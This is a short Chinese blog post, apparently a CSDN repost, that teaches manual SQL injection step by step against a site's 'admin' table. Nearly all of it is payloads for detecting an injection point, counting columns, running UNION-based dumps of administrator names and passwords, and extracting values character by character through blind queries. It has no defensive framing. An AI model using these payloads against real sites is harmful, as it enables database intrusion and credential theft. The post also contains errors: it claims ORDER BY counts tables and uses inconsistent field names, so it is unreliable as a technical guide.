sql手动注入

第一步:判断环境,寻找注入点
确定注入点:用’报错就有注入的希望 and 1=1 正常 and 1=2 报错就基本能注入
第二步:猜解表名 检测是否存在admin表,正确存在,返回错误则不存在
And exists (select * from admin)
第三步:猜解字段
Order by字段长度 猜解数据库存在多少数据表
如45正确,46错误,则有45个表
And 1=2 union select 1,2,3,4,5,6…,45 from admin 爆出内容 4,8
再猜 账号密码
And 1=2 union select 1,2,3,adminname,5,6,7,password,9,10,… from admin
猜出 账号密码
And exists (select 字段 from 表名)
And exists (select admin_name from admin)

第四步:字段长度 len参数提取字段的长度()内的admin_name是字段名,>0可以换成1,2,3…只到猜中字段的长度
And (select top 1 len(字段) from 表名)>0
And (select top 1 len(admin_name) from admin)>0

如>4正常,>5页面错误 用=5测试正常 说明admin_name的长度是5位
第五步:折半法猜出admin pass内容重要的一环
And (select top 1 asc(mid(字段,1,1))from 表名)>0
And (select top 1 asc(mid(admin_admin,1,1))from admin)>0 猜解第1位
And (select top 1 asc(mid(admin_admin,2,1))from admin)>0 猜解第2位

猜你喜欢

转载自blog.csdn.net/haodawei123/article/details/86516674